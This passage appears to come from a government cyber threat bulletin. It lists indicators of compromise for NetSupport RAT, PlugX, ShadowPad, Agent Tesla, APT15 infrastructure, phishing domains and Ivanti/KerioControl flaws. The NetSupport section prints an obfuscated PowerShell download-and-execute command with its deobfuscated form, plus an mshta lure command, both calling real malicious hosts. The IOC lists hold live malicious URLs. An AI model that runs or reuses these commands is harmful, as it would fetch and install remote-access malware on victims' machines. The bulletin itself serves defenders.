“HKCU[:]SOFTWARE\Microsoft\Windows\CurrentVersion\Run”, a common persistence technique, with the name “Microsoft” to launch the NetSupport RAT at startup. To evade detection, an adversary leverages a phishing lure and PowerShell-based payload delivery while rotating hosting domains and C2 infrastructure. NetSupport RAT continues to be a prominent tool as multiple threat clusters incorporate this malware-as-a-service (MaaS) RAT into their arsenal.

MITRE ATT&CK Techniques

Initial Access

T1566 Phishing

Defense Evasion

T1218.005 Signed Binary Proxy Execution: Mshta

Command and Control

T1219 Remote Access Software

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

URLs:

https://holidaybunch.com/

http://traversecityspringbreak.com

http://patbunn.com/o/o.png

Filenames:

Client32.exe

Client32.ini

Mshta command:

mshta.exe https[:]//noisefreqs.com/Ray-verify.html # âœ… ''Verify you are human - Ray Verification ID: 1424''

Obfuscated PowerShell Command:

$c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g('http[:]//patbunn.com/o/o.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X

Deobfuscated PowerShell Command:

IEX (New-Object Net.WebClient).DownloadString(''http[:]//patbunn.com/o/o.png'')|IEX

Dropped files:

file:///C%3A/Users/<user>/AppData/Roaming/<random>/client32.ini - D8C2B28FF9F90626F7E669B4FBDB45ED553A3CB1A980E23FDFEA4FBBDDDFC502

file:///C%3A/Users/<user>/AppData/Roaming/<random>/HTCTL32.DLL - EDFE2B923BFB5D1088DE1611401F5C35ECE91581E71503A5631647AC51F7D796

file:///C%3A/Users/<user>/AppData/Roaming/<random>/msvcr100.dll - 8793353461826FBD48F25EA8B835BE204B758CE7510DB2AF631B28850355BD18

file:///C%3A/Users/<user>/AppData/Roaming/<random>/nskbfltr.inf - D96856CD944A9F1587907CACEF974C0248B7F4210F1689C1E6BCAC5FED289368

file:///C%3A/Users/<user>/AppData/Roaming/<random>/NSM.ini - 60FE386112AD51F40A1EE9E1B15ECA802CED174D7055341C491DEE06780B3F92

file:///C%3A/Users/<user>/AppData/Roaming/<random>/NSM.LIC - AD0D05305FDEB3736C1E8D49C3A6746073D27B4703EB6DE6589BDC4AA72D7B54

file:///C%3A/Users/<user>/AppData/Roaming/<random>/pcicapi.dll - 9074FD40EA6A0CAA892E6361A6A4E834C2E51E6E98D1FFCDA7A9A537594A6917

file:///C%3A/Users/<user>/AppData/Roaming/<random>/PCICHEK.DLL - 313117E723DDA6EA3911FAACD23F4405003FB651C73DE8DEFF10B9EB5B4A058A

file:///C%3A/Users/<user>/AppData/Roaming/<random>/PCICL32.DLL - 63AA18C32AF7144156E7EE2D5BA0FA4F5872A7DEB56894F6F96505CBC9AFE6F8

file:///C%3A/Users/<user>/AppData/Roaming/<random>/remcmdstub.exe - 6558B3307215C4B73FC96DC552213427FB9B28C0CB282FE6C38324F1E68E87D6

file:///C%3A/Users/<user>/AppData/Roaming/<random>/TCCTL32.DLL - 6795D760CE7A955DF6C2F5A062E296128EFDB8C908908EDA4D666926980447EA

file:///C%3A/Users/<user>/AppData/Roaming/<random>/client32.exe - 06A0A243811E9C4738A9D413597659CA8D07B00F640B74ADC9CB351C179B3268

Command and Control (C2):

92.255.85.135ss:443

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2025-01-10-005**

Based on analysis, please find below malicious IoCs targeting Critical Information Infrastructures (CII). Consider life span for malicious IP addresses at least 14 days.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

IP Addresses:

178.72.76.240

120.226.28.57

114.247.184.167

223.149.242.203

98.159.236.220

103.210.94.92

112.94.99.231

103.210.94.8

27.47.0.137

113.30.168.39

120.85.113.105

113.220.18.138

216.9.227.143

39.144.129.111

223.149.184.187

103.210.94.17

103.158.97.243

77.239.219.244

103.210.94.89

141.98.11.119

113.246.60.119

103.226.248.206

183.88.235.100

103.199.180.71

103.247.6.35

120.85.115.138

36.46.167.14

95.214.55.185

120.85.113.253

120.85.118.92

120.85.118.235

36.83.118.234

112.94.97.238

185.142.53.43

91.224.92.18

120.85.112.35

120.85.115.125

36.75.59.2

120.61.88.22

27.47.3.48

139.5.0.115

27.111.75.125

194.37.81.64

87.120.116.226

120.85.114.134

117.222.123.194

103.199.200.178

27.43.205.177

185.187.235.243

27.43.204.182

120.57.70.140

117.222.112.248

103.247.52.113

5.140.93.245

111.202.190.23

112.94.97.28

220.198.241.47

120.86.238.18

112.94.96.25

103.210.94.29

27.111.75.80

118.239.13.170

120.85.118.171

120.86.255.148

103.208.230.252

120.85.112.134

112.94.96.191

122.97.136.120

139.5.11.33

175.107.0.165

103.210.94.129

103.158.96.75

103.210.94.99

220.158.158.117

103.211.52.241

103.210.94.246

205.185.118.70

61.7.209.125

139.5.0.144

27.47.1.143

103.210.94.19

106.7.143.192

103.158.96.81

120.85.117.244

182.59.69.20

27.43.207.56

37.79.7.240

87.120.125.13

27.43.204.3

120.85.119.91

120.85.117.104

139.5.1.92

27.111.75.56

120.85.112.177

120.85.116.38

178.72.76.247

120.85.118.76

120.86.253.15

45.176.170.222

31.220.1.144

120.85.143.13

223.152.168.250

103.210.94.82

27.124.4.130

120.85.186.134

157.231.51.20

103.199.200.108

62.176.9.29

120.85.113.116

27.122.61.110

27.122.61.13

120.85.143.213

103.149.87.69

103.245.236.146

URLs:-

http://180.125.215.11:36594/

http://102.33.39.101:47933/

http://119.115.240.22:36342/

http://220.152.199.179:44435/

http://175.152.3.123:39919/

http://112.248.112.66:51825/

http://178.177.200.61:40427/

http://118.144.222.197:42846/

http://139.5.1.123:42012/

http://103.200.84.205:50998/

http://103.200.85.114:49460/

http://121.239.251.169:57428/

http://117.81.26.204:47744/

http://118.174.123.40:33589/

http://113.218.201.24:52378/

http://113.30.168.192:38867/

http://115.63.181.3:43070/

http://45.164.177.222:11435/

http://119.167.30.125:46724/

http://218.60.254.171:41858/

http://220.158.158.173:43125/

http://112.248.152.185:39687/

http://117.219.116.216:47758/

http://182.117.70.113:33254/

http://139.5.0.216:53223/

http://182.126.198.171:37700/

http://117.235.108.61:41511/

http://125.40.153.189:57401/

http://59.95.83.241:42545/

http://123.190.131.104:41502/

http://59.93.183.46:59871/

http://59.184.252.31:52264/

http://216.9.227.143/

http://172.38.0.76:42128/

http://103.199.202.145:58456/

http://117.212.161.168:45450/

http://73.120.73.252:58750/

http://113.26.60.9:54889/

http://42.235.84.165:49274/

http://115.63.11.79:33268/

http://115.63.11.52:41975/

http://219.156.116.220:33474/

http://42.224.173.82:33977/

http://182.247.129.8:57910/

http://39.77.248.165:50815/

http://222.85.37.31:50951/

http://117.211.210.220:37021/

http://117.200.144.171:34065/

http://59.99.135.110:57922/

http://89.253.82.64:35239/

http://220.158.158.234:57483/

http://110.24.36.185:41441/

http://42.6.163.11:60729/

http://117.253.99.247:46969/

http://120.61.89.6:55064/

http://106.59.98.41:56038/

http://36.255.18.199:44607/

http://103.115.196.58:35422/

http://117.222.254.25:38727/

http://117.221.251.203:39500/

http://42.234.244.169:40593/

http://45.178.249.125:11240/

http://113.30.168.199:56273/

http://61.53.204.11:36864/

http://5.191.21.161:60833/

http://59.88.6.46:44561/

http://45.164.178.180:11871/

http://103.43.5.253:54320/

http://113.221.28.254:35740/

http://113.24.164.229:52324/

http://113.30.168.106:54391/

http://117.253.160.176:43040/

http://123.9.245.25:36832/

http://175.148.165.65:51802/

http://182.126.104.10:50753/

http://27.111.75.145:44180/

http://27.111.75.246:53441/

http://27.204.198.245:57107/

http://27.215.150.192:59072/

http://45.164.178.171:11843/

http://45.230.66.22:10115/

http://59.98.199.157:39024/

http://117.220.78.205:34541/

http://45.230.66.13:10410/

http://182.240.226.155:60288/

http://175.107.37.220:48881/

http://119.164.93.118:52248/

http://221.15.19.178:49329/

http://220.158.158.34:48622/

http://1.70.81.105:38958/

http://117.215.55.115:56197/

http://59.93.191.232:38836/

http://59.183.131.213:41068/

http://45.230.66.63:11536/

http://117.235.113.247:34541/

http://117.209.80.115:56653/

http://115.58.161.3:54417/

http://117.254.38.132:48259/

http://120.57.66.81:40969/

http://117.213.252.188:39302/

http://182.127.154.237:53481/

http://124.135.180.71:55657/

http://117.209.34.98:55218/

http://115.49.209.215:42644/

http://103.199.200.94:42674/

http://218.93.57.117:34233/

http://220.158.158.244:35761/

http://117.206.78.6:56645/

http://59.88.1.120:44548/

http://220.158.158.69:54575/

http://112.248.82.172:36051/

http://42.224.28.64:45869/

http://117.209.86.123:41037/

http://117.222.253.200:59820/

http://119.114.147.239:33247/

http://42.224.106.110:47063/

http://59.94.46.55:52773/

http://45.230.66.1:11476/

http://115.50.53.12:36528/

http://59.99.139.232:37559/

http://103.200.85.115:36421/

http://221.15.190.166:56667/

http://45.164.178.22:11443/

http://59.97.251.42:47107/

http://112.172.248.59:4214/

http://112.248.231.37:47025/

http://117.254.39.253:59764/

http://117.248.21.230:48781/

http://102.37.79.43:53838/

http://45.164.178.180:11293/

http://117.211.40.22:41721/

http://117.253.2.118:49489/

http://175.107.2.160:44094/

http://139.5.0.151:58412/

http://222.137.190.80:33982/

http://101.39.140.30:10559/

http://222.93.85.6:35282/

http://172.38.0.76:55067/

http://113.24.128.88:40385/

http://117.209.1.143:34051/

http://103.200.85.65:35676/

http://115.61.48.207:50686/

http://45.164.178.157:10624/

http://112.248.109.212:46015/

http://42.234.56.167:49026/

http://117.200.95.98:43936/

http://175.107.1.135:57201/

http://110.182.224.46:58599/

http://117.220.79.181:56302/

http://117.213.247.209:39587/

http://117.213.83.242:44884/

http://59.184.248.82:53570/

http://103.210.93.231:59479/

http://172.38.0.48:47942/

http://59.88.34.17:47244/

http://45.164.178.153:10343/

http://42.232.241.165:52694/

http://117.248.33.204:58739/

http://222.138.123.165:37013/

http://110.183.56.46:50549/

http://45.164.178.22:10400/

http://218.93.106.118:54488/

http://164.163.25.240:50869/

http://103.210.101.174:55282/

http://113.229.191.245:47161/

http://182.121.155.204:57837/

http://117.193.149.6:51004/

http://39.149.231.174:53361/

http://23.27.51.244/dr0p.exe

http://59.184.253.0:38045/

http://115.63.53.111:50444/

http://45.230.66.61:10617/

http://36.104.223.157:46712/

http://110.182.72.65:38671/

http://103.210.101.177:52118/

http://117.254.101.138:58782/

http://45.164.178.96:10196/

http://103.199.180.160:42929/

http://117.253.156.168:49601/

http://139.5.1.224:34301/

http://220.158.158.162:53504/

http://61.3.19.197:60501/

http://112.229.245.13:45265/

http://59.184.241.119:36379/

http://139.5.0.236:48067/

http://45.164.178.229:11996/

http://124.235.200.14:42851/

http://45.164.178.200:11433/

http://103.203.72.205:57976/

http://223.15.24.155:41903/

http://139.5.10.37:48055/

http://115.51.106.56:44393/

http://45.164.178.201:10566/

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2025-01-10-004**

Presence of malicious IoCs are found in Indian Cyberspace related to SOGU/PlugX and unknown malware. Plugx is a remote access trojan that gives attackers control over compromised devices so that they can copy and modify the victim’s files, record keystrokes, capture screenshots and videos, or reboot the system.

Please find below IOCs in this regard.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

IPs:

64.44.184.105

139.84.163.162

65.20.70.110

URL:-

times.windowstimes.online

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-APT-2025-01-13-003**

APT15, also known as RedLima, Vixen Panda, KE3CHANG, Royal APT & Playful Dragon, a state-sponsored threat group, is involved in cyber espionage activities. The group primarily targets government organisations. It employs a range of tools and backdoors, Operational Relay Box (ORB) networks to obscure their activities. The APT15 has been involved in reconnaissance efforts using private anonymization networks such as HiddenOrbit aka RedRelay and SuperJump aka SPACEHOP. These networks are designed to obscure malicious activities and complicate tracking and attribution. HiddenOrbit, comprises several hundred Virtual Private Servers (VPS).

Please find below IOCs in this regard.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

IPs:

139.99.55.165

45.86.228.99

147.78.0.137

23.26.227.102

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2025-01-13-006**

Winnti Malware is a modular Remote Access Trojan (RAT) that has been used by multiple groups to carry out intrusion activities. The Winnti malware has two different variants for Linux and Windows systems.

Please find below IOCs in this regard.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

IP:

45.32.103.109

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2025-01-13-007**

The presence of malicious IoCs of SOGU aka PLUGX malware has been observed in Indian Cyberspace. Plugx is a Remote Access Trojan (RAT) that gives adversaries control over compromised devices to copy and modify the victim’s files, record keystrokes, capture screenshots and videos, or reboot the system.

Please find below IOCs in this regard.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

IPs:

166.88.194.63

96.43.101.219

107.173.63.250

142.252.0.73

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2025-01-13-008**

The presence of SPACEHOP aka ORB3 (Operational Relay Box) network has been observed in Indian CyberSpace. It is a very active network leveraged by APT15 for reconnaissance and vulnerability exploitation. It is a vast infrastructure comprised of Virtual Private Servers (VPS) and compromised smart devices and routers.

Please find below IOC in this regard.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

IP:

166.88.141.27

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2025-01-13-009**

Shadowpad aka POISONPLUG malware is a highly obfuscated modular backdoor with plug-in capabilities. It can infiltrate target systems and provides attackers with capabilities to gather data and control the compromised systems remotely. The malware is capable of registry or service persistence, self-removal, plug-in execution, and network connection forwarding. The malware is associated with APT41.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

IPs:

168.100.11.117

89.38.128.94

95.179.141.26

95.179.179.83

95.179.244.134

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-TAG-2025-01-13-001**

The presence of an unknown PRC threat actor has been observed in Indian CyberSpace.

Please find below IOC in this regard.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

IPs:

116.204.211.187

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2025-01-13-010**

The presence of NightFall malware has been observed in Indian CyberSpace.

Please find below IOCs in this regard.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

IP:

192.109.228.147

Domain:

anywheres.run.place

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **VA-2025-01-13-004**

It has been observed that a critical zero-day stack-based buffer overflow vulnerability (CVE-2025-0282) in Ivanti Connect Secure VPN, Ivanti Policy Secure and Ivanti Neurons for ZTA Gateways is exploited in the wild particularly by a threat actor group known as UNC5337. After successful exploitation, the following malwares are deployed to execute payloads:

SPAWN malware: Utilized for Command and Control (C2) communication and for system exploitation.

PHASEJAM maware: A shell script dropper; it modifies Ivanti appliance components and establishes persistence by blocking legitimate updates. It inserts web shells, modifies critical system files, and prevents system updates.

DRYHOOK malware: A Python script used to harvest credentials and facilitate lateral movement within networks. It harvests sensitive credentials from compromised systems.

Another flaw, CVE-2025-0283,a stack-based buffer overflow vulnerability, affecting Ivanti Connect Secure, Policy Secure and ZTA Gateways, has been actively exploited in the wild, which allows a locally authenticated attacker to escalate their privileges.

Impacts:

1. Unauthenticated Remote Code Execution: Successful exploitation allows to execute arbitrary code remotely.

2. Data Breach: Gain access to sensitive information, including VPN session data, API keys, and user credentials.

3. System Integrity Compromise: Modify system files and disable security measures.

4. Use tools like Nmap and Dig to explore and gather information about the internal network.

5. Use the LDAP service account to query the LDAP directory and move around the network, including accessing active Directory servers via SMB or RDP.

Distribution Methods:

Attack Vector: Exploit the vulnerability by executing a series of pre-defined scripts that disable security features, modify system logs and install malicious payloads.

Exploitation Steps:

1. Disable SELinux and prevent syslog forwarding.

2. Execute scripts to install malicious binaries and web shells.

3. Establish persistence to maintain access post-exploitation.

Affected Versions:

Ivanti Connect Secure: Versions prior to 22.7R2.5

Ivanti Policy Secure: Versions prior to 22.7R1.- Ivanti Neurons for ZTA Gateways: Versions prior to 22.7R2.3

Threat Type: Vulnerability (CVE ID & Score)

CVE-2025-0282, CVSS SCORE-9.0

CVE-2025-0283, CVSS SCORE-7.3

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

Hashes:

e7d24813535f74187db31d4114f607a1

4f79c70cce4207d0ad57a339a9c7f43c

61bb586dc4e047ab081ef6ca65684e48

d18e5425ecd9608ecb992606b974e15d

File names:

/home/webserver/htdocs/dana-na/auth/getComponent.cg

/home/webserver/htdocs/dana-na/auth/restAuth.cgi

/root/home/lib/libsshd.so

/root/home/lib/libsocks5.so

/root/lib/libupgrade.so

/tmp/.liblogblock.so

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-PHI-2025-01-14-007**

It has been observed that adversaries are targeting government personnel using spoofed/compromised email IDs, malicious domains, Phishing web pages and Vishing techniques. The email has an attached PDF file which contains a hyperlink with the title "View Document". Upon clicking, the hyperlink opens the phishing page of the NIC login page and seeks for username and password. The IP addresses and domain are malicious and currently active in compromising the user credentials/propagating malware payload.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

URL:-

https://email.gov.in.indiandefence.nl/service/home/?auth=co&id=29238&filename=Secy%20DRDO%20Report%20Regarding%20Defence%202025&charset=UTF-8

Domain:-

indiandefence.nl

IPs:-

45.141.59[.[95

117.245.195.111

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **VA-2025-01-14-005**

A critical Carriage Return Line Feed (CRLF) injection vulnerability (CVE-2024-52875) has been discovered in the GFI KerioControl firewall, which can lead to one-click Remote Code Execution (RCE) attacks. This vulnerability allows to exploit HTTP response splitting, potentially leading to RCE via malicious HTTP response headers. Successful exploitation can allow adversaries to upload malicious files to the firewall, granting root access and permits to inject malicious inputs into HTTP response headers.

Adversaries could create a malicious URL that, when clicked by an administrator, triggers the execution of a Proof of Concept (PoC) hosted on an adversary-controlled server. This PoC would then upload a harmful .img file using the firmware upgrade feature, ultimately giving the root access to the firewall.

**IMPACTS:**

1. Remote Code Execution (RCE)

2. Unauthorized access to firewall management

3. Potential for further attacks, including Cross-Site Scripting (XSS)

**Affected Versions:** The flaw impacts KerioControl versions 9.2.5 through 9.4.5

Threat Type: Vulnerability

CVE ID: CVE-2024-52875

CVSS Score- 5.5

**Recommendations:**

* Immediate Update: Upgrade to GFI KerioControl version 9.4.5 Patch or later, released on December, .
* Network Monitoring: Implement network monitoring for unusual traffic patterns that may indicate exploitation attempts.
* Input Validation: Ensure proper input validation and sanitization for all user inputs, particularly those passed to HTTP headers.
* Access Controls: Review and tighten access controls for firewall management interfaces to limit exposure.
* Incident Response Plan: Develop or update incident response plans to address potential exploitation scenarios.
* Threat Intelligence Sharing: Engage with threat intelligence organizations to stay informed about ongoing exploitation attempts.
* Regular Security Audits: Conduct regular security audits and penetration testing of the firewall configurations.
* Firewall Logging: Enable and monitor detailed logging on firewalls to detect and respond to potential exploitation attempts.
* Patch Management: Establish a robust patch management process to ensure timely application of security updates

1. **TA-PHI-2025-01-14-007**

It has been observed that numerous phishing domains/sub-domains have been registered by cyber threat actors. These domains intend to target personnel belonging to the government, defence, central investigating agencies and the judiciary.

Please find below malicious domains that are targeting Critical Sector Entities (CIIs).

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

Domains:

apimyspeed.trai.gov.in.pirozas.lol

www.edisha.gov.in.vlecert.xyz

www.edisha.gov.in.vlew.xyz

edisha.gov.in.vlecert.xyz

edisha.gov.in.vlew.xyz

\*.pirozas.lol

\*.vlecert.xyz

\*.vlew.xyz

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2025-01-14-011**

Reference is made to earlier NCIIPC advisories on Agent Tesla malware. The Agent Tesla malware primarily spreads through phishing. However, the malware has a function which allows it to run automatically from a USB stick/ pen drive. At present, Agent Tesla is able to operate exclusively on Windows machines.

Impacts:

Keylogger and Credential Stealer: Agent Tesla focuses on capturing keystrokes, clipboard data, screenshots, and harvesting credentials stored in browsers and email clients.

Data Exfiltration: It can exfiltrate data through various channels like email, FTP, or HTTP.

Widespread Use: Frequently used in phishing campaigns, targeting users through malicious attachments.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

IP Address:

87.166.55.254

46.175.148.58

203.175.9.22

47.76.82.23

92.37.143.94

195.252.110.253

103.92.235.178

213.189.52.181

92.205.7.112

95.217.148.220

85.10.224.196

93.89.225.40

136.243.131.47

46.29.239.57

110.4.45.197

5.2.84.76

89.39.83.184

217.116.201.44

148.251.209.169

185.165.185.2

193.141.65.39

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **VA-2025-01-14-006**

**Vulnerability in CSZ CMS**

An arbitrary file upload vulnerability in has been discovered in CSZ CMS. The affected version is CSZ CMS v1.3.0.

CVE ID: CVE-2024-25414 (Critical)

**Ivanti Released Security Updates**

Ivanti has released security updates to address multiple vulnerabilities in Ivanti Connect Secure, Policy Secure and ZTA Gateways. An attacker can exploit these vulnerabilities to take control of an affected system.

CVE ID: CVE-2025-0282 (Critical), CVE-2025-0283 (High)

**Palo Alto Networks Security Updates**

Palo Alto Networks has released security updates to address multiple vulnerabilities in the Expedition migration tool that enables to read Expedition database contents and arbitrary files, as well as create and delete arbitrary files on the Expedition system. Expedition has reached its End of Life (EoL) date.

CVE ID: CVE-2025-0103 (Critical), CVE-2025-0104 (High), CVE-2025-0105 (Medium), CVE-2025-0106 (Medium), CVE-2025-0107 (Medium)

**Multiple Vulnerabilities in ABB's Equipments**

Multiple vulnerabilities have been discovered in ABB's Equipment- ASPECT-Enterprise, NEXUS, and MATRIX series. The mitigations are available.

